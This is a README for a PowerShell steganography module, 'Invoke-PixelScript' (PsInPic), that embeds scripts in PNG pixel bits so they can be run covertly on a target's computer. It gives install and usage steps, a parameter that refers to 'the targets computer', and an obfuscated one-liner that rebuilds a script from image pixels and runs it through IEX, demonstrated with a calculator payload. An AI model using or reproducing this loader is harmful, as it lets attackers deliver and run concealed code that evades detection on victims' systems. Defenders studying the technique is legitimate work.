Invoke-PixelScript

based on original work by: Invoke-PsImage

Invoke-PixelScript is a PowerShell module designed to embed PowerShell scripts within the pixels of an image file (PNG). This module provides a way to execute hidden scripts from these images, effectively using steganography to conceal and transport PowerShell scripts.

Features

• Embed Scripts in Images: Hide PowerShell scripts in the least significant bits of image pixels.
• Execute from Image: Generate a one-liner to execute the embedded script directly from the image.

Prerequisites

Before you begin using Invoke-PixelScript, ensure you have PowerShell installed on your system. This module also requires the .NET System.Drawing assembly, typically available by default in Windows environments.

Installation

# Install the module
Install-Module PsInPic

# Import the module
Import-Module PsInPic

Usage

Embedding a Script into an Image

To embed a PowerShell script into an image, you can use the Invoke-PixelScript function.

PARAMETERS

$Script   - path to .ps1 script you want to embed 
$Image    - path to the image you plan to use
$Out      - path to the output file
$ExecPath - path to where you anticipate running the script from the targets computer 
            (can be altered whenever and will default to $Out if nothing is provided)

# Embed a script into an existing image and save the output
$payload = Invoke-PixelScript -Script "C:\path\to\script.ps1" -Image "C:\path\to\image.png" -Out "C:\path\to\output.png" -ExecPath "C:\path\to\output.png"

Generating the Execution Command

After embedding, the function returns a PowerShell one-liner that you can use to execute the script directly from the image:

# Execute the embedded script from the image
Invoke-Expression $payload

EXAMPLE

If you right click and save this image to your downloads folder as out.png and then run that powershell code below it you will open the calculator (smaller the image the faster it is)

<img src="https://github.com/Unit-259/PsInPic/blob/main/out.png" width="400" alt="Description of Image">

sal a New-Object;Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("$env:userprofile\downloads\out.png");
$o=a Byte[] 7001382;
(0..2821)|%{
foreach($x in 0..2480) {
$p=$g.GetPixel($x, $_);
$o[$_*2481+$x]=[math]::Floor(($p.R -band 0x0F)*16) + ($p.G -band 0x0F);
}
};
$g.Dispose();
IEX([System.Text.Encoding]::ASCII.GetString($o[0..3]))
